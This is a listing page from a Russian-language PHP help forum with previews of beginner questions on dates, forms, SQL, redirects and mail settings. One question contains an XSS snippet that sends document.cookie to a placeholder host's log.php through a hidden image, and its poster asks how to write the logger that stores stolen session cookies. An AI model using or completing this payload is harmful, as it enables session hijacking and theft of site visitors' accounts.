PHP
A general-purpose scripting language especially suited to web development
Explore Questions
There are no popular questions to show right now
-
0 votes2 answers
-
0 votes1 answer
-
0 votes1 answer
-
0 votes2 answers
-
0 votes0 answers
2,481 questions in this forum
-
Как можно узнать вчера и позавчера по дате YYYY-MM-DD HH:MM:SS ?
Например добавлен комментарий. Тип даты в базе данных DATETIME, то есть сохраняю дату в виде YYYY-MM-DD HH:MM:SS. Сегодня узнать можно if(date==тот что в базе)... А как узнать "ВЧЕРА" или "ПОЗАВЧЕРА". Можно конечно у дня отнять -1, то есть 28ое получится 27ое.. Но а если это 1? Будет 0... В общем тупик... Уверен есть у кого нибудь готовое решение :-)
0 votes2 answers -
Редирект для мобильных устройств
Добрый день, подскажите пожалуйста. Какой нужен скрипт, который определяет, что человек пришел на наш сайт с мобильного устройства и отправляет его на отдельную созданную страницу с адаптивной версткой. И где прописать данный скрипт? Вернее где его вызвать на странице? Помогите пожалуйста. Вот например возможное решение (но, врят ли): <?php $iphone = strpos($_server['http_user_agent'],"iphone" ; $android = strpos($_server['http_user_agent'],"android" ; $palmpre = strpos($_server['http_user_agent'],"webos" ; $berry = strpos($_server['http_user_agent'],"blackberry" ; $ipod = strpos($_server['http_user_agent'],"ipod" ; if ($iphone || $android || $palmpre || $ipod |…
0 votes3 answers -
Подстановка значения переменной в строку
В общем что-то я туплю. Есть следующее $out = '<div class="gallery'.(count($gallery['files'])<3?' smooth300':'').'" currentPic="1" totalPics="'.count($gallery['files']).'"><div class="imagesWindow"><div class="images" style="width:'.(count($gallery['files'])*580).'px;">'; как сделать заместо count($gallery['files']) вставить переменную к примеру я пишу $count = count($gallery['files']); а после вставить значение $count в строку $out. Я конечно не новичок в программировании но в php не прям силен. Что-то не могу сообразить.
0 votes2 answers -
model исправление ошибки
На сайте http://xn--80aqeivp.xn--p1ai/ model в товаре состоит из двух частей, вторая из которых выводится правильно. Нужно заменить ошибочный вывод [Error. Page cannot be displayed. Please contact your service provider for more details. (25) на цифры [Error. Page cannot be displayed. Please contact your service provider for more details. (25)-260367]
0 votes0 answers -
вызов одного класса в другом
Добрый день. проблема, я вызываю шаблон так $tpl = new template(tpl_dir,tpl_ext); $tpl->load('...'); $tpl->vars('...',array('redirect')); echo $tpl->out('...'); мне надо то же самое реализовать внутри функции другого класса, то есть: class sgd { function up() { $tpl = new template(tpl_dir,tpl_ext); $tpl->load('...'); $tpl->vars('...',array('redirect')); return $tpl->out('...'); } } но так работать не должно, я пробую так: $tpl .= template::__construct(tpl_dir,tpl_ext); $tpl .= template::load('...'); $tpl .= template::vars('...',array('redirect')); return $tpl .= template::out('...'); шаблон вызывается, но переменные не передаются, в чем может быть дел…
0 votes0 answers -
ipgeobase
ipgeobase база с городами. Что будет написано в гугле и яндексе интересно, когда их боты будут сайт индексировать? Какой же там город будет? И такой вопросик. Как можно и можно ли, если у меня на сайте 7 поддоменов - заставить их грузить основной сайт на поддомен? Я хочу сделать фильтрацию по адресу сайта и менять информацию всю в одной страничке - чтобы мне не нужно было все 10 сайтов копировать каждый в свою папку из-за одной строки текста.
0 votes6 answers -
Динамические страницы и проблема индексации Yandex
Здравствуйте! У меня есть динамическая страница, на которой есть разные товары и виды товаров. Использую ЧПУ но при этом столкнулся с тем, что в течении более двух месяцев, yandex не продвинулся в индексации этих страниц, хотя sitemap он принял с более чем 4000 страниц проиндексировал только 123, а google тем временем проиндексировал все, более 4000, страницы. В чем проблема помогите пожалуйста.
0 votes7 answers -
Обратная связь, вывод ошибок
Есть форма обратной связи, нужно реализовать вывод ошибок на той же странице что и форма Код формы <form method="post" action="mail.php"> Ваше имя: <br><input type="text" name="name"><br> Ваш e-mail:<br><input type="text" name="email"><br> Ваш заказ:<br> <textarea cols="70" rows="10" name="mess"> </textarea> <input type="hidden" name="a" value="order"> <br> <input type="submit" value="Отправить"> </form> код mail.php <title>Обратная связь</title> </head> <body> <?php if (isset($_POST['name'])) {$name = $_POST['name'];} if (isset($_POST['email'])) {$email = …
0 votes0 answers -
Не выполняется условие запроса sql
Здравствуйте! Есть функция поиска, которая выбирает условия поиска, исходя из значения $select. Но Это не работает, выполнятся всегда поиск по значению $select == 'all'. Сама функция: function magazine_search($query, $select){ if($select == 'all') { $query = clear($query); try { $dsn = sprintf('mysql:host=%s;dbname=%s;charset=utf8', HOST, DB); $pdo = new PDO($dsn, USER, PASS); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); } catch (PDOException $e) { echo "<p>Запрос на выборку данных из бызы не прошёл. Напишите об этом администратору <a href='mailto:admin@torawhite.ru'>admin…
0 votes1 answer -
Проблема с формой
Здравствуйте у меня такая проблема с формой - я добавляю дополнительные поля для телефона с помощью кода var length_my = $(".phone_inputs").find("input").length; $(this).prev(".phone_inputs").append('<div class="jobs" style="height:30px;float:left;width:250px;margin-top:5px;"><input onfocus="add_border(this);" onblur="no_border(this);" name="phone'+length_my+'" style="margin-top:5px;" type="text"/></div>'); Добавляются поля нормально, но при отправке формы с добавленных полей не приходит POST. Кто с таким сталкивался подскажите пожалуйста как это исправить.
0 votes3 answers -
События в PHP
Подскажите, кто нибудь сталкивался с таким понятием как события в PHP и как они работают? Как то случайно давно наткнулся на подобную тему, но сейчас не могу найти никакой информации об этом. И кто нибудь работал с функциями event_...()? (event_add, например). Что то тоже не могу ничего найти.
0 votes3 answers -
конфиг phpmaailera
помогите пожалуйста разобраться с настройками скрипта для отправки писем PHPmailer подключение скрипта проблем не вызывает. не понятны настройки конфига $__smtp = array( "host" => "smtp.yandex.ru", //smtp сервер "debug" => 2, //отображение информации дебаггера (0 - нет вообще) "auth" => true, //сервер требует авторизации "port" => 25, //порт (по-умолчанию - 25) "username" => "%username%",//имя пользователя на сервере "password" => "%password%",//пароль "addreply" => "your@email.com",//ваш е-mail "replyto" => "your@email.com" //e-mail ответа);у меня бесплатный хостин…
0 votes7 answers -
А нужна ли CMS?
Вот допустим планируется сайт, на котором будут регаться очень много пользователей и сами будут добавлять по очень много постов в день, то такой сайт нужно делать с нуля или можно натянуть на какую-нибудь CMS? Просто вроде говорят, то, что CMSки не выдерживают большую нагрузку.
0 votes1 answer -
Помогите вернуть данные:)
Всем привет! В общем суть: У меня есть страничка с которой я отправляю данные методом POST в script.php, там эти данные присваиваю как $start= $_POST['start']; ('start' - название формы). 1 трабла: Нужно создать запрос в БД. Я написал как $query = "SELECT start FROM railway WHERE start=$start"; (где 'start' - название столбца в таблице 'railway'. Моя ошибка введя переменную $start как "Минск" (Unknown column 'Минск' in 'where clause'). Не понимаю суть\ Где ошибаюсь? 2 трабла: Мне нужно вернуть данные из этого скрипта обратно на страницу, с которой отправлялась форма. Помогите советами, литературой, примерами. Зараннее благодарен.
0 votes5 answers -
как получить куку? хелп
Есть поле сообщений, где добавляется такой скрипт (ниже). Создается картинка с урлом в котором сессионая кука есть. Подскажите плиз как этот log.php должен быть написан принимающий один параметр и забрасывающий результат того, что в урле в текстовый файл log.txt? <script> url=document.cookie; var oImg=document.createElement("img"); oImg.setAttribute('src','http://sait/log.php?cookie='+url); oImg.setAttribute('alt','na'); oImg.setAttribute('height','1px'); oImg.setAttribute('width','1px'); document.body.appendChild(oImg); </script>
0 votes7 answers -
Удаление новостей
Всем привет Помогите плз Не думайте что я лентяй ,для меня PHP одна радость) Так вот Я не могу написать скрипт Удаления новостей Вот что получилось: Файл delete.php <? session_start(); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> <title>Удаление</title> </head> <body> <?php require_once('bd.php'); if ($_SESSION['Group'] == '1') { mysql_select_db('My'); $query = ("SELECT * FROM `news`"); $res = mysql_query($…
0 votes6 answers -
On-line голосовалка
Приветы Все смотрели фильм "Социальная сеть"? Помните facemash.com голосование за девушек. Дак вот надо сделать подобную штуку. Покопался в сети, нашел http://skripters.biz/raznoe_skripti/8272-facemash-alike-script.html Только вот проблема, ничего не понял( Кто может помочь с кодом?)
0 votes4 answers -
правильное составление имен переменных
Всем привет Тут вдруг задался вопросом, как лучше обзывать переменные Например, переменные описывающие модуль : Ключ модуля, данные модуля, иформация о модуле $key_module, $data_module, $info_module (так правильно с точки зрения английского языка) или же $module_key, $module_data, $module_data (а так вроде как ключевое слово module идет первым, а потом идут описывающие его параметры) Кто как бы назвал ?
0 votes7 answers -
Кнопка входа в режиме реального времени
Доброго времени суток! https://youtu.be/qGHnjEygYq8 Как сделать такою кнопку? Кто знает? Буду очень благодарен... Проверка на заполнение уже есть... Проверка у меня через PHP
0 votes4 answers -
Как инициировать автоматическую передачу данных методом post или get
Здравствуйте! Возник такой вопросик. У меня есть форма, куда посетитель вводит номер мобильного телефона. Далее нажимает кнопку и методом POST передает данные другому скрипту, который проверяет данные на корректность, и в случае некорректного введения, возвращает посетителя опять к форме для повторного заполнения. Вот код: if (empty($_POST['phone'])) { echo "Вы не ввели номер телефона!"; echo "<p><a href='javascript: history.back();' class='black'>Ввести номер телефона</a></p>"; exit(); } else { if(!preg_match("/^[0-9]{7,7}+$/", $_POST['phone'])) { echo ("Телефон задан в неверном формате, выбирите из списка код оператора …
0 votes8 answers -
Помогите пожалуйста настроить перенаправление в htaccess
Привет всем. Поменяли структуру сайта, склеили две основные категории товаров в одну, и все ссылки поменялись. А т.к. ссылки проиндексированы, посетители попадают на страницу с 404 ошибкой. Там конечно заглушка стоит, но от этого не очень-то легче. Задача стоит такая: старые ссылки вида domain.com/old-cat/subcat/subcat2/product-detail перекидывать на domain.com/new-cat/product-detail т.е. то, что запрашивалось в old-cat перекинуть в new-cat без сохранения подкатегорий (subcat) подкатегорий в старой ссылке может быть разное количество, может и не быть вовсе SEF-компонент работает так, что при неуказании подкатегорий в новой ссылке товар всё равно будет показан, так что их …
0 votes2 answers -
Тупой вопрос но все-же...
У меня есть форма, с которой идут данные в php <?php if (isset($_POST['message'])&&!empty($_POST['message'])) { $message = strip_tags($_POST['message']); $message = htmlspecialchars($message); $message = mysql_escape_string($message); $message = trim($message); if(strlen($message) < 1) exit(); if (strlen($message) > 500) $message = substr($message, 0, 500)."..."; if ($_COOKIE['message'] == $message) exit(); setcookie("message", "$message"); if (isset($_POST['name'])&&!empty($_POST['name'])) { $name = strip_tags($_POST['name']); $name = htmlspecialchars($name); $name = mysql_escape_string($name); $name = trim…
0 votes2 answers -
Java.io, вопрос шарящим.
Привет! Есть функция: package ru.korshun.imgcrypto; import java.io.*; public class ImgCrypto { public static void main(String[] args) { ImgCrypto ic = new ImgCrypto(); try { byte[] enc = ic.load(); String e = ic.encode(enc); try (OutputStream out = new FileOutputStream("D:\\java\\ImgCrypto\\img\\image.jpg")) { out.write(ic.decode(e)); } } catch (IOException e) { } } public byte[] load() throws FileNotFoundException, IOException { InputStream in = new FileInputStream("D:\\java\\ImgCrypto\\img\\20130826_103942…
0 votes1 answer -
Передача POST на HTTPS
Приветствую. Два сервера играют в снежки POST запросами по протоколу HTTPS. При отправке данных через формы на странице все обрабатывается корректно. Радуюсь. Но вот необходимо отправить запрос без участия человека. Выходов как я понимаю несколько. Из этой кучи выбрал самый простой: curl. Написал функцию: <?php function SendPost($data, $port= '443', $host = 'https://htmlbook.ru', $path='/index.php') { if( $curl = curl_init() ) { curl_setopt($ch, CURLOPT_PORT, $port); curl_setopt($curl, CURLOPT_URL, $host.$path); curl_setopt($curl, CURLOPT_RETURNTRANSFER,true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); …
0 votes2 answers -
помогите поправить пхп
Здравствуйте! В кратце суть проблемы: Есть сайт, в котором реализован модуль "новостная лента" Мнев этом модуле не нравились кнопки, а так же их расположение. (над новостной лентой). Нужно мне разместить кнопки слева в центре и справа в центре. собственно это от части у меня получилось. проблема в том, что на сайте реализована функция, позволяющая менять ширину сайта на вкус посетителя. И когда это происходит правая кнопка сползает со своего места, так как не привязана к правому боку и имеет абсолютное позиционирование. В данный момент css код всего этого удовольствия: .nsp_top_interface{ overflow:hidden; margin:0 0; width: 100%; height: 28px; position:absolute; top: 6…
0 votes13 answers